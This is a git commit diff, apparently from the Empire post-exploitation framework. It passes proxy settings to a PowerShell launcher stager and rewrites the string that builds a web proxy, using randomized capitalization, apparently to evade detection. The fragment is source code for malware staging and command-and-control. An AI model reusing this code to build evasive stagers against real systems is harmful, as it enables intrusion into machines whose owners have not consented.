Conflicts:
	lib/common/empire.py
readme-wiki
xorrior 2018-01-06 16:49:10 -05:00
parent c584df2ce8
commit 8092bcef66
2 changed files with 5 additions and 1 deletions

View File

@ -3010,6 +3010,8 @@ class ListenersMenu(SubMenu):
stager.options['Listener']['Value'] = listenerName stager.options['Listener']['Value'] = listenerName
stager.options['Language']['Value'] = language stager.options['Language']['Value'] = language
stager.options['Base64']['Value'] = "True" stager.options['Base64']['Value'] = "True"
stager.options['Proxy']['Value'] = listenerOptions['options']['Proxy']['Value']
stager.options['ProxyCreds']['Value'] = listenerOptions['options']['ProxyCreds']['Value']
if self.mainMenu.obfuscate: if self.mainMenu.obfuscate:
stager.options['Obfuscate']['Value'] = "True" stager.options['Obfuscate']['Value'] = "True"
else: else:

View File

@ -329,7 +329,9 @@ class Listener:
stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
else: else:
# TODO: implement form for other proxy # TODO: implement form for other proxy
stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('"+ proxy.lower() +"');") stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('")
stager += proxy.lower()
stager += helpers.randomize_capitalization("');")
stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
if proxyCreds.lower() != 'none': if proxyCreds.lower() != 'none':
if proxyCreds.lower() == "default": if proxyCreds.lower() == "default":